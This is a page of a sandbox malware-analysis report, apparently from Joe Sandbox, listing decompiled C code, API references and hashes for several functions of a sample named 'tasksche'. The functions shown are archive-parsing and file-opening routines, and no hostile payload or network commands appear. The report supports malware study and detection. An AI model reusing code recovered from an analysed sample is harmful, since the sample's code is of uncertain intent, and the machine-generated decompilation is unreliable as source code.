Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_wcscpy$_wcslen
String ID:
API String ID: 2067596392-0
Opcode ID: aa5c2ab907567c22763022a3e14260f934ba444c4f603d8b7408ac10fc9ad921
Instruction ID: 34baa23ef678cdf00172776f2fc4f6da7b22e3ce89fab18911e310d79256e735
Opcode Fuzzy Hash: aa5c2ab907567c22763022a3e14260f934ba444c4f603d8b7408ac10fc9ad921
Instruction Fuzzy Hash: E7112675906294AED705EBA4AC427CD7BA0DB16318F1040AFF444A2292CFB91A90DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 00401768 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00401768(intOrPtr* __ecx, void* __edx) {
				void* __edi;
				void* _t25;
				signed int _t27;
				intOrPtr _t30;
				signed int _t31;
				intOrPtr _t35;
				void* _t54;
				void* _t58;

				_t51 = __edx;
				E0041A4DC(E00429705, _t58);
				_t56 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xb056)) != 0) {
					E0040117B(_t58 - 0x1c, __edx, __ecx);
					 *(_t58 - 4) = 0;
					__eflags =  *(__ecx + 0x658c);
					if( *(__ecx + 0x658c) == 0) {
						_push(0);
						_t25 = E00401B26(__ecx);
						_push(_t51);
						 *((intOrPtr*)( *__ecx + 0xc))();
						_t27 = E00403767(__ecx, _t51, _t58, __eflags, "CMT");
						_t54 = _t25;
						__eflags = _t27;
						if(_t27 == 0) {
							L6:
							 *((char*)(_t58 + 0xb)) = 0;
						} else {
							_push( *((intOrPtr*)(_t58 + 8)));
							_t31 = E004012EA(_t56, _t54); // executed
							 *((char*)(_t58 + 0xb)) = 1;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L6;
							}
						}
					} else {
						_push(0);
						_push(0);
						_push( *((intOrPtr*)(__ecx + 0xb060)) + 0x14);
						 *((intOrPtr*)( *__ecx + 0xc))();
						E0040369F(__edx, _t58);
						_t35 =  *((intOrPtr*)(_t58 + 8));
						__eflags =  *(_t35 + 4);
						 *((char*)(_t58 + 0xb)) =  *(_t35 + 4) > 0;
					}
					_t15 = _t58 - 4;
					 *_t15 =  *(_t58 - 4) | 0xffffffff;
					__eflags =  *_t15;
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t58 - 0x1c)))) + 0xc))( *((intOrPtr*)(_t58 - 0x14)),  *((intOrPtr*)(_t58 - 0x10)), 0);
					_t30 =  *((intOrPtr*)(_t58 + 0xb));
				} else {
					_t30 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t58 - 0xc));
				return _t30;
			}

0x00401768
0x0040176d
0x00401777
0x00401781
0x0040178e
0x00401793
0x00401796
0x0040179c
0x004017c7
0x004017ca
0x004017cf
0x004017d3
0x004017dd
0x004017e2
0x004017e3
0x004017e5
0x004017f9
0x004017f9
0x004017e7
0x004017e7
0x004017ec
0x004017f1
0x004017f5
0x004017f7
0x00000000
0x00000000
0x004017f7
0x0040179e
0x004017a6
0x004017aa
0x004017ab
0x004017ae
0x004017b3
0x004017b8
0x004017bb
0x004017be
0x004017be
0x00401801
0x00401801
0x00401801
0x0040180c
0x0040180f
0x00401783
0x00401783
0x00401783
0x00401817
0x0040181f

APIs

__EH_prolog.LIBCMT ref: 0040176D

Strings

CMT, xrefs: 004017D6

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID: CMT
API String ID: 3519838083-2756464174
Opcode ID: c5dcd452fd1e4eeec7eacad65d6409f1913b512c17b790326e9b6827e8618ada
Instruction ID: 903a9e83ebfadd1395375551f57b58f4375dbb7200b7f1b09ca9293e13445996
Opcode Fuzzy Hash: c5dcd452fd1e4eeec7eacad65d6409f1913b512c17b790326e9b6827e8618ada
Instruction Fuzzy Hash: C5210275600144AFCB05EF6488908AEBBB9EF44314B00C06FF866773E2CB389E01DB68

Uniqueness

Uniqueness Score: -1.00%

Function 00401106 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00401106(intOrPtr* __ecx, intOrPtr _a4) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t12;
				intOrPtr _t13;
				unsigned int _t15;
				intOrPtr _t16;
				unsigned int _t20;
				intOrPtr _t23;
				unsigned int _t26;
				void* _t31;
				intOrPtr _t32;
				intOrPtr* _t34;

				_t12 = _a4;
				_t34 = __ecx;
				 *((intOrPtr*)(__ecx + 4)) =  *((intOrPtr*)(__ecx + 4)) + _t12;
				_t23 =  *((intOrPtr*)(__ecx + 4));
				if(_t23 >  *((intOrPtr*)(__ecx + 8))) {
					_t13 =  *((intOrPtr*)(__ecx + 0xc));
					_push(_t31);
					if(_t13 != 0 && _t23 > _t13) {
						E00406423(_t23, 0x4335ac, L"Maximum allowed array size (%u) is exceeded", _t13);
						E004063CE(0x4335ac);
					}
					_t15 = ( *(_t34 + 8) >> 2) +  *(_t34 + 8) + 0x20;
					_t26 =  *(_t34 + 4);
					_t20 = _t26;
					_t43 = _t26 - _t15;
					if(_t26 <= _t15) {
						_t20 = _t15;
					}
					_push(_t20);
					_push( *_t34); // executed
					_t16 = E0041A594(_t20, _t31, _t34, _t43); // executed
					_t32 = _t16;
					if(_t32 == 0) {
						_t16 = E004063CE(0x4335ac);
					}
					 *_t34 = _t32;
					 *(_t34 + 8) = _t20;
					return _t16;
				}
				return _t12;
			}

0x00401106
0x0040110b
0x0040110d
0x00401110
0x00401116
0x00401118
0x0040111d
0x00401125
0x00401132
0x0040113c
0x0040113c
0x00401149
0x0040114d
0x00401150
0x00401152
0x00401154
0x00401156
0x00401156
0x00401158
0x00401159
0x0040115b
0x00401160
0x00401166
0x0040116a
0x0040116a
0x0040116f
0x00401173
0x00000000
0x00401176
0x00401178

APIs

_realloc.LIBCMT ref: 0040115B

Part of subcall function 00406423: __vswprintf_c_l.LIBCMT ref: 00406441

Strings

Maximum allowed array size (%u) is exceeded, xrefs: 0040112C

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __vswprintf_c_l_realloc
String ID: Maximum allowed array size (%u) is exceeded
API String ID: 620378156-979119166
Opcode ID: dce6db5a0bfaf73c63961f3884acddfac192c2d93569977231d8791de2d42667
Instruction ID: b98885df3920ffeceb53ce79d7a953b92e5ea0a83a6506546a83ec3ee512e677
Opcode Fuzzy Hash: dce6db5a0bfaf73c63961f3884acddfac192c2d93569977231d8791de2d42667
Instruction Fuzzy Hash: 8D014F353006056FD728EA25D89193BB3E9EB88764310483FF99B97791EA39BC548718

Uniqueness

Uniqueness Score: -1.00%

Function 00401417 Relevance: 3.3, APIs: 2, Instructions: 264
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00401417(signed int* __ecx, signed int __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t89;
				void* _t92;
				signed int _t96;
				signed int _t97;
				signed int _t98;
				signed int _t105;
				signed int _t106;
				signed int _t107;
				signed int _t115;
				signed int _t118;
				char* _t129;
				signed int _t130;
				signed int _t131;
				signed int _t133;
				char* _t138;
				void* _t139;
				signed int _t144;
				signed int _t145;
				void* _t175;
				signed int _t176;
				signed int* _t178;
				signed int _t179;
				signed int* _t181;
				void* _t185;

				_t172 = __edx;
				E0041A4DC(E004294F4, _t185);
				_t181 = __ecx;
				_push(7);
				_t174 = __ecx + 0x6560;
				_push(__ecx + 0x6560);
				 *((char*)(__ecx + 0xb05c)) = 0;
				 *((char*)(__ecx + 0xb064)) = 0;
				if( *((intOrPtr*)( *((intOrPtr*)(__ecx)) + 8))() == 7) {
					 *((intOrPtr*)(__ecx + 0xb060)) = 0;
					_t89 = E0040106A(_t174, 7);
					__eflags = _t89;
					if(_t89 == 0) {
						E00406760(_t185 - 0x1c, 0x100000);
						 *(_t185 - 4) = 0;
						_t92 =  *((intOrPtr*)( *_t181 + 0x10))();
						_t175 = _t92;
						_t144 =  *((intOrPtr*)( *_t181 + 8))( *(_t185 - 0x1c),  *((intOrPtr*)(_t185 - 0x18)) + 0xfffffff0);
						_t172 = 0;
						__eflags = _t144;
						if(_t144 <= 0) {
							L21:
							__eflags = _t181[0x2c18];
							if(_t181[0x2c18] != 0) {
								 *(_t185 - 4) =  *(_t185 - 4) | 0xffffffff;
								__eflags =  *(_t185 - 0x1c);
								if(__eflags != 0) {
									_push( *(_t185 - 0x1c));
									E0041A506(_t144, _t175, _t181, __eflags); // executed
								}
								goto L26;
							}
							__eflags =  *(_t185 - 0x1c);
							if(__eflags != 0) {
								_push( *(_t185 - 0x1c));
								E0041A506(_t144, _t175, _t181, __eflags);
							}
							goto L41;
						} else {
							goto L6;
						}
						do {
							L6:
							_t129 =  *(_t185 - 0x1c) + _t172;
							__eflags =  *_t129 - 0x52;
							if( *_t129 != 0x52) {
								goto L16;
							}
							_t130 = E0040106A(_t129, _t144 - _t172);
							__eflags = _t130;
							if(_t130 == 0) {
								goto L16;
							}
							_t181[0x2c14] = _t130;
							__eflags = _t130 - 1;
							if(_t130 != 1) {
								L18:
								_t131 = _t172 + _t175;
								_t172 =  *_t181;
								_t181[0x2c18] = _t131;
								 *((intOrPtr*)( *_t181 + 0xc))(_t131, 0, 0);
								_t133 = _t181[0x2c14];
								__eflags = _t133 - 2;
								if(_t133 == 2) {
									L20:
									_t172 =  *_t181;
									 *((intOrPtr*)( *_t181 + 8))( &(_t181[0x1958]), 7);
									goto L21;
								}
								__eflags = _t133 - 3;
								if(_t133 != 3) {
									goto L21;
								}
								goto L20;
							}
							__eflags = _t172;
							if(_t172 <= 0) {
								goto L18;
							}
							__eflags = _t175 - 0x1c;
							if(_t175 >= 0x1c) {
								goto L18;
							}
							__eflags = _t144 - 0x1f;
							if(_t144 <= 0x1f) {
								goto L18;
							}
							_t138 =  *(_t185 - 0x1c) - _t175 + 0x1c;
							__eflags =  *_t138 - 0x52;
							if( *_t138 != 0x52) {
								goto L16;
							}
							__eflags =  *((char*)(_t138 + 1)) - 0x53;
							if( *((char*)(_t138 + 1)) != 0x53) {
								goto L16;
							}
							__eflags =  *((char*)(_t138 + 2)) - 0x46;
							if( *((char*)(_t138 + 2)) != 0x46) {
								goto L16;
							}
							__eflags =  *((char*)(_t138 + 3)) - 0x58;
							if( *((char*)(_t138 + 3)) == 0x58) {
								goto L18;
							}
							L16:
							_t172 = _t172 + 1;
							__eflags = _t172 - _t144;
						} while (_t172 < _t144);
						goto L21;
					} else {
						_t181[0x2c14] = _t89;
						__eflags = _t89 - 1;
						if(_t89 == 1) {
							_t179 =  *_t181;
							_t139 =  *((intOrPtr*)(_t179 + 0x10))(0);
							asm("sbb edx, ebx");
							 *((intOrPtr*)(_t179 + 0xc))(_t139 - 7, __edx);
						}
						L26:
						_t96 = _t181[0x2c14];
						__eflags = _t96 - 4;
						if(_t96 != 4) {
							__eflags = _t96 - 3;
							if(_t96 != 3) {
								_t181[0x195a] = 7;
								while(1) {
									L36:
									_t97 = E0040369F(_t172, _t185);
									__eflags = _t97;
									if(_t97 == 0) {
										break;
									}
									_t98 = _t181[0x1951];
									__eflags = _t98 - 1;
									if(_t98 == 1) {
										break;
									}
									__eflags = _t181[0x1952];
									if(_t181[0x1952] == 0) {
										L35:
										E004010C0(_t181);
										continue;
									}
									__eflags = _t98 - 4;
									if(_t98 == 4) {
										break;
									}
									goto L35;
								}
								__eflags = _t181[0x2c19];
								if(_t181[0x2c19] == 0) {
									L39:
									E004010C0(_t181);
									__eflags = _t181[0x2c19];
									if(_t181[0x2c19] == 0) {
										L42:
										__eflags = _t181[0x1952];
										_t181[0x2c15] = _t181[0x1963];
										if(_t181[0x1952] == 0) {
											L44:
											E0040117B(_t185 - 0x2c, _t172, _t181);
											_t176 = _t181[0x2c10];
											_t145 = _t181[0x2c11];
											 *(_t185 - 0x14) = _t181[0x2c12];
											 *(_t185 - 0x10) = _t181[0x2c13];
											 *(_t185 - 4) = 1;
											 *(_t185 + 8) = _t181[0x1951];
											while(1) {
												_t105 = E0040369F(_t172, _t185);
												__eflags = _t105;
												if(_t105 == 0) {
													break;
												}
												_t106 = _t181[0x1951];
												__eflags = _t106 - 3;
												if(_t106 != 3) {
													__eflags = _t106 - 2;
													if(_t106 == 2) {
														__eflags = _t181[0x2c15];
														if(_t181[0x2c15] == 0) {
															L59:
															_t107 = 0;
															__eflags = 0;
															L60:
															_t181[0x2c16] = _t107;
															L61:
															_t69 = _t185 - 4;
															 *_t69 =  *(_t185 - 4) | 0xffffffff;
															__eflags =  *_t69;
															_t181[0x2c12] =  *(_t185 - 0x14);
															_t181[0x2c13] =  *(_t185 - 0x10);
															_t181[0x2c10] = _t176;
															_t181[0x2c11] = _t145;
															_t181[0x1951] =  *(_t185 + 8);
															 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t185 - 0x2c)))) + 0xc))( *((intOrPtr*)(_t185 - 0x24)),  *((intOrPtr*)(_t185 - 0x20)), 0);
															L62:
															__eflags = _t181[0x2c15];
															if(_t181[0x2c15] == 0) {
																L64:
																__eflags =  &(_t181[0x2c26]);
																E0041A7F7( &(_t181[0x2c26]),  &(_t181[7]));
																L65:
																_t115 = 1;
																L66:
																goto L67;
															}
															__eflags = _t181[0x2c16];
															if(_t181[0x2c16] == 0) {
																goto L65;
															}
															goto L64;
														}
														__eflags = _t181[0x1d9c];
														if(_t181[0x1d9c] != 0) {
															goto L59;
														}
														_t107 = 1;
														goto L60;
													}
													__eflags = _t106 - 5;
													if(_t106 == 5) {
														goto L61;
													}
													L53:
													E004010C0(_t181);
													continue;
												}
												__eflags = _t181[0x2c15];
												if(_t181[0x2c15] == 0) {
													L49:
													_t118 = 0;
													__eflags = 0;
													L50:
													_t181[0x2c16] = _t118;
													goto L53;
												}
												__eflags = _t181[0x266c];
												if(_t181[0x266c] != 0) {
													goto L49;
												}
												_t118 = 1;
												goto L50;
											}
											goto L61;
										}
										__eflags = _t181[0x2c17];
										if(_t181[0x2c17] != 0) {
											goto L62;
										}
										goto L44;
									}
									E00406376(0x19,  &(_t181[7]));
									__eflags =  *(_t185 + 8);
									if( *(_t185 + 8) != 0) {
										goto L42;
									}
									L41:
									_t115 = 0;
									goto L66;
								}
								__eflags =  *(_t185 + 8);
								if( *(_t185 + 8) == 0) {
									goto L41;
								}
								goto L39;
							}
							_t178 =  &(_t181[0x1959]);
							 *((intOrPtr*)( *_t181 + 8))(_t178, 1);
							__eflags =  *_t178;
							if( *_t178 != 0) {
								goto L41;
							}
							_t181[0x195a] = 8;
							goto L36;
						}
						E00406376(0x3b,  &(_t181[7]));
						goto L41;
					}
				} else {
					_t115 = 0;
					L67:
					 *[fs:0x0] =  *((intOrPtr*)(_t185 - 0xc));
					return _t115;
				}
			}

0x00401417
0x0040141c
0x00401425
0x0040142a
0x0040142c
0x00401432
0x00401433
0x0040143a
0x00401447
0x00401456
0x0040145c
0x00401461
0x00401463
0x00401495
0x0040149e
0x004014a1
0x004014ae
0x004014b7
0x004014b9
0x004014bb
0x004014bd
0x00401550
0x00401552
0x00401558
0x00401571
0x00401575
0x00401578
0x0040157a
0x0040157d
0x00401582
0x00000000
0x00401578
0x0040155a
0x0040155d
0x00401563
0x00401566
0x0040156b
0x00000000
0x00000000
0x00000000
0x00000000
0x004014c3
0x004014c3
0x004014c6
0x004014c8
0x004014cb
0x00000000
0x00000000
0x004014d3
0x004014d8
0x004014da
0x00000000
0x00000000
0x004014dc
0x004014e2
0x004014e5
0x0040151b
0x0040151d
0x00401520
0x00401527
0x0040152d
0x00401530
0x00401536
0x00401539
0x00401540
0x00401540
0x0040154d
0x00000000
0x0040154d
0x0040153b
0x0040153e
0x00000000
0x00000000
0x00000000
0x0040153e
0x004014e7
0x004014e9
0x00000000
0x00000000
0x004014eb
0x004014ee
0x00000000
0x00000000
0x004014f0
0x004014f3
0x00000000
0x00000000
0x004014fa
0x004014fd
0x00401500
0x00000000
0x00000000
0x00401502
0x00401506
0x00000000
0x00000000
0x00401508
0x0040150c
0x00000000
0x00000000
0x0040150e
0x00401512
0x00000000
0x00000000
0x00401514
0x00401514
0x00401515
0x00401515
0x00000000
0x00401465
0x00401465
0x0040146b
0x0040146e
0x00401474
0x00401479
0x0040147f
0x00401485
0x00401485
0x00401583
0x00401583
0x00401589
0x0040158c
0x0040159e
0x004015a1
0x004015c4
0x004015f0
0x004015f0
0x004015f2
0x004015f7
0x004015f9
0x00000000
0x00000000
0x004015d0
0x004015d6
0x004015d9
0x00000000
0x00000000
0x004015db
0x004015e2
0x004015e9
0x004015eb
0x00000000
0x004015eb
0x004015e4
0x004015e7
0x00000000
0x00000000
0x00000000
0x004015e7
0x004015fb
0x00401602
0x0040160a
0x0040160c
0x00401611
0x00401618
0x00401632
0x00401632
0x0040163f
0x00401645
0x00401654
0x00401658
0x00401663
0x00401669
0x0040166f
0x00401678
0x00401681
0x00401688
0x004016ca
0x004016cc
0x004016d1
0x004016d3
0x00000000
0x00000000
0x0040168d
0x00401693
0x00401696
0x004016b9
0x004016bc
0x004016d7
0x004016de
0x004016ee
0x004016ee
0x004016ee
0x004016f0
0x004016f0
0x004016f6
0x004016fc
0x004016fc
0x004016fc
0x00401700
0x0040170e
0x0040171a
0x00401720
0x00401726
0x0040172e
0x00401731
0x00401731
0x00401738
0x00401743
0x00401747
0x0040174e
0x00401755
0x00401755
0x00401757
0x00000000
0x00401757
0x0040173a
0x00401741
0x00000000
0x00000000
0x00000000
0x00401741
0x004016e0
0x004016e7
0x00000000
0x00000000
0x004016eb
0x00000000
0x004016eb
0x004016be
0x004016c1
0x00000000
0x00000000
0x004016c3
0x004016c5
0x00000000
0x004016c5
0x00401698
0x0040169f
0x004016af
0x004016af
0x004016af
0x004016b1
0x004016b1
0x00000000
0x004016b1
0x004016a1
0x004016a8
0x00000000
0x00000000
0x004016ac
0x00000000
0x004016ac
0x00000000
0x004016d5
0x00401647
0x0040164e
0x00000000
0x00000000
0x00000000
0x0040164e
0x00401620
0x00401625
0x00401629
0x00000000
0x00000000
0x0040162b
0x0040162b
0x00000000
0x0040162b
0x00401604
0x00401608
0x00000000
0x00000000
0x00000000
0x00401608
0x004015a7
0x004015b0
0x004015b3
0x004015b6
0x00000000
0x00000000
0x004015b8
0x00000000
0x004015b8
0x00401594
0x00000000
0x00401594
0x00401449
0x00401449
0x00401758
0x0040175d
0x00401765
0x00401765

APIs

__EH_prolog.LIBCMT ref: 0040141C

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: af860968fb5a352ec115184650dafa7935731a9a847d0e8dc47d2517750fbf99
Instruction ID: 1df30631c7f2331ab9bb659be56b51083ca38efb3ea41a431c6c341c2f7f2518
Opcode Fuzzy Hash: af860968fb5a352ec115184650dafa7935731a9a847d0e8dc47d2517750fbf99
Instruction Fuzzy Hash: D7A1A370904B44AFDB31DB38C8447ABB7E5AB45304F14482FE4A7A72E1D779A881CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408923 Relevance: 3.1, APIs: 2, Instructions: 86
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408923(void* __ecx, WCHAR* _a4, long _a8) {
				long _v8;
				short _v4104;
				signed char _t38;
				signed int _t42;
				void* _t51;
				signed char _t54;
				char _t60;
				void* _t64;

				E0041AAF0(0x1004);
				_t64 = __ecx;
				_t54 = _a8;
				_t38 = _t54 >> 0x00000001 & 0x00000001;
				if((_t54 & 0x00000010) != 0 ||  *((intOrPtr*)(__ecx + 0x1c)) != 0) {
					_t60 = 1;
				} else {
					_t60 = 0;
				}
				 *(_t64 + 0x18) = _t54;
				_v8 = ((0 | _t38 == 0x00000000) - 0x00000001 & 0x80000000) + 0xc0000000;
				_a8 = 0 | _t60 != 0x00000000;
				_t42 =  *(E0040A08A(_t60, _a4)) & 0x0000ffff;
				if(_t42 == 0x2e || _t42 == 0x20) {
					 *(_t64 + 4) =  *(_t64 + 4) | 0xffffffff;
				} else {
					_t51 = CreateFileW(_a4, _v8, _a8, 0, 2, 0, 0); // executed
					 *(_t64 + 4) = _t51;
				}
				if( *(_t64 + 4) == 0xffffffff && E0040A3DC(_a4,  &_v4104, 0x800) != 0) {
					 *(_t64 + 4) = CreateFileW( &_v4104, _v8, _a8, 0, 2, 0, 0);
				}
				 *((char*)(_t64 + 0x12)) = 1;
				 *((intOrPtr*)(_t64 + 0xc)) = 0;
				 *((char*)(_t64 + 0x10)) = 0;
				E00410B9C(_t64 + 0x1e, _a4, 0x800);
				return 0 |  *(_t64 + 4) != 0xffffffff;
			}

0x0040892b
0x00408932
0x00408934
0x0040893b
0x00408943
0x0040894e
0x0040894a
0x0040894a
0x0040894a
0x00408953
0x00408971
0x00408974
0x0040897c
0x00408989
0x00408991
0x00408997
0x004089a5
0x004089a7
0x004089a7
0x004089ae
0x004089dc
0x004089dc
0x004089eb
0x004089ef
0x004089f2
0x004089f5
0x00408a07

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000002,00000000,00000000,?,?,?,-00000011,?,00408777,?,-00000011,?), ref: 004089A5
CreateFileW.KERNEL32(?,000000FF,?,00000000,00000002,00000000,00000000,?,?,00000800,?,?,?,-00000011,?,00408777), ref: 004089DA

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a074d9b34406725a99dd7798f6dc6781e4ed09d04832e0e73d262d8c08033346
Instruction ID: 01d84b190ee352a3a297c1effa4f932d2cea621e1ee0f9c6dc0f58f94aa457de
Opcode Fuzzy Hash: a074d9b34406725a99dd7798f6dc6781e4ed09d04832e0e73d262d8c08033346
Instruction Fuzzy Hash: F621E6B1000709AFDB20AF28CD41AEA7BA9EB04324F00853EF5D5972D1CA799D859B59

Uniqueness

Uniqueness Score: -1.00%

Function 004012EA Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E004012EA(void* __ecx, void* __edi) {
				void* __ebx;
				void* __esi;
				void* _t30;
				void* _t37;
				void* _t55;
				unsigned int _t57;
				void* _t58;
				signed int _t59;
				intOrPtr* _t62;
				void* _t64;

				E0041A4DC(E004294DA, _t64);
				_t44 = __ecx;
				 *(_t64 - 0x1c) = 0;
				 *(_t64 - 0x18) = 0;
				 *((intOrPtr*)(_t64 - 0x14)) = 0;
				 *((intOrPtr*)(_t64 - 0x10)) = 0;
				_push(0);
				_push(_t64 - 0x1c);
				 *((intOrPtr*)(_t64 - 4)) = 0;
				_t30 = E00402C8B(__ecx, _t55); // executed
				if(_t30 != 0) {
					_push(__edi);
					_t57 =  *(_t64 - 0x18);
					E004012B5(_t64 - 0x1c, 0);
					_t62 =  *((intOrPtr*)(_t64 + 8));
					_t48 = _t62;
					E004012D0(_t62, _t57 + 1);
					__eflags =  *((intOrPtr*)(__ecx + 0xb050)) - 3;
					if( *((intOrPtr*)(__ecx + 0xb050)) != 3) {
						__eflags =  *(__ecx + 0x8944) & 0x00000001;
						if(( *(__ecx + 0x8944) & 0x00000001) == 0) {
							E00411B3C( *(_t64 - 0x1c),  *_t62,  *((intOrPtr*)(_t62 + 4)));
						} else {
							_t59 = _t57 >> 1;
							E00411BA7( *(_t64 - 0x1c),  *_t62, _t59);
							 *((short*)( *_t62 + _t59 * 2)) = 0;
						}
					} else {
						E00411CD1(_t48,  *(_t64 - 0x1c),  *_t62,  *((intOrPtr*)(_t62 + 4)));
					}
					E004012D0(_t62, E0041A7AF( *_t62));
					__eflags =  *(_t64 - 0x1c);
					_pop(_t58);
					if(__eflags != 0) {
						_push( *(_t64 - 0x1c));
						E0041A506(_t44, _t58, _t62, __eflags);
					}
					_t37 = 1;
				} else {
					_t70 =  *(_t64 - 0x1c);
					if( *(_t64 - 0x1c) != 0) {
						_push( *(_t64 - 0x1c));
						E0041A506(__ecx, __edi, 0, _t70);
					}
					_t37 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t64 - 0xc));
				return _t37;
			}

0x004012ef
0x004012fb
0x004012fd
0x00401300
0x00401303
0x00401306
0x00401309
0x0040130d
0x0040130e
0x00401311
0x00401318
0x0040132f
0x00401330
0x00401337
0x0040133c
0x00401343
0x00401345
0x0040134a
0x00401351
0x00401362
0x00401369
0x0040138a
0x0040136b
0x0040136b
0x00401373
0x0040137c
0x0040137c
0x00401353
0x0040135b
0x0040135b
0x0040139a
0x0040139f
0x004013a3
0x004013a4
0x004013a6
0x004013a9
0x004013ae
0x004013af
0x0040131a
0x0040131a
0x0040131d
0x0040131f
0x00401322
0x00401327
0x00401328
0x00401328
0x004013b6
0x004013be

APIs

__EH_prolog.LIBCMT ref: 004012EF

Part of subcall function 00402C8B: __EH_prolog.LIBCMT ref: 00402C90

_wcslen.LIBCMT ref: 00401391

Part of subcall function 0041A506: __lock.LIBCMT ref: 0041A524
Part of subcall function 0041A506: ___sbh_find_block.LIBCMT ref: 0041A52F
Part of subcall function 0041A506: ___sbh_free_block.LIBCMT ref: 0041A53E
Part of subcall function 0041A506: RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E
Part of subcall function 0041A506: GetLastError.KERNEL32(?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001,00000214), ref: 0041A57F

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog$ErrorFreeHeapLast___sbh_find_block___sbh_free_block__lock_wcslen
String ID:
API String ID: 2367413355-0
